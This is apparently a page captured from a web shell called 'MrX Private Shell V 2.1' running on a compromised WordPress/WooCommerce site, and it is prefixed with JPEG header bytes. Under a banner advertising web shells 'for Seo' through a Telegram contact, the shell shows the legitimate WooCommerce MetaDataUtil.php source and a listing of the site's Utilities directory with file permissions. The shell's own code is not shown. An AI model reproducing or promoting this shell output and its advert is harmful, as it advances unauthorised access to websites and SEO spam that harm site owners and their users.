����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare( strict_types = 1 );
namespace Automattic\WooCommerce\Utilities;
use WC_Data;
/**
* Utility methods for handling meta data in REST API requests.
*
* @since 10.8.0
*/
class MetaDataUtil {
/**
* Normalize and process meta data entries from a REST API request.
*
* Skips entries without a key, applies defaults for missing 'value' and 'id'
* fields, then calls update_meta_data on the given WC_Data object
* for each valid entry.
*
* @since 10.8.0
*
* @param mixed $meta_data Raw meta data from the request (non-array values are ignored).
* @param WC_Data $target A WC_Data object to call update_meta_data on.
* @param mixed $default_id Default value for 'id' when not provided (default '').
*/
public static function update( $meta_data, WC_Data $target, $default_id = '' ): void {
if ( ! is_array( $meta_data ) ) {
return;
}
foreach ( self::normalize( $meta_data, $default_id ) as $meta ) {
$target->update_meta_data( $meta['key'], $meta['value'], $meta['id'] );
}
}
/**
* Normalize an array of raw meta data entries from a REST API request.
*
* Filters out entries without a key and applies default values for
* missing 'value' and 'id' fields. Each returned entry is guaranteed
* to have 'key', 'value', and 'id' set.
*
* @since 10.8.0
*
* @param array $meta_data Raw meta data array from the request.
* @param mixed $default_id Default value for 'id' when not provided (default '').
* @return array[] Normalized meta data entries.
*/
public static function normalize( array $meta_data, $default_id = '' ): array {
$normalized = array();
foreach ( $meta_data as $meta ) {
if ( is_array( $meta ) && isset( $meta['key'] ) ) {
$normalized[] = array(
'key' => $meta['key'],
'value' => $meta['value'] ?? null,
'id' => $meta['id'] ?? $default_id,
);
}
}
return $normalized;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ArrayUtil.php | File | 12.99 KB | 0644 |
|
| CallbackUtil.php | File | 4.4 KB | 0644 |
|
| DiscountsUtil.php | File | 1.1 KB | 0644 |
|
| FeaturesUtil.php | File | 5.19 KB | 0644 |
|
| I18nUtil.php | File | 1.69 KB | 0644 |
|
| LoggingUtil.php | File | 3.18 KB | 0644 |
|
| MetaDataUtil.php | File | 1.87 KB | 0644 |
|
| NumberUtil.php | File | 7.11 KB | 0644 |
|
| OrderUtil.php | File | 9.19 KB | 0644 |
|
| PluginUtil.php | File | 11.99 KB | 0644 |
|
| RestApiUtil.php | File | 5.01 KB | 0644 |
|
| ShippingUtil.php | File | 1020 B | 0644 |
|
| StringUtil.php | File | 5.09 KB | 0644 |
|
| TimeUtil.php | File | 1.16 KB | 0644 |
|